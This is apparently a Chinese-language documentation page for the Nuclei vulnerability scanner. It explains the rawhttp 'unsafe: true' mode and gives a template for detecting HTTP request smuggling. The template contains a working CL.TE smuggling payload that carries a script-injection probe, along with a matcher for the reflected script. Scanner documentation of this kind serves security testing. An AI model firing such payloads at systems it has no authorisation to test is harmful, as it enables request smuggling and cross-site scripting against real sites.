Skip to main content
Nuclei 支持 rawhttp 来实现完全的请求控制和自定义,允许任何类型的畸形请求,用于解决 HTTP 请求走私、Host 头注入、带有畸形字符的 CRLF 等问题。 默认情况下,rawhttp 库是禁用的,可以通过在请求块中包含 unsafe: true 来启用。 以下是使用 rawhttp 进行 HTTP 请求走私检测的模板示例。
http:
  - raw:
    - |+
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 150
        Transfer-Encoding: chunked

        0

        GET /post?postId=5 HTTP/1.1
        User-Agent: a"/><script>alert(1)</script>
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 5

        x=1
    - |+
        GET /post?postId=5 HTTP/1.1
        Host: {{Hostname}}

    unsafe: true # 启用 rawhttp 客户端
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "<script>alert(1)</script>")'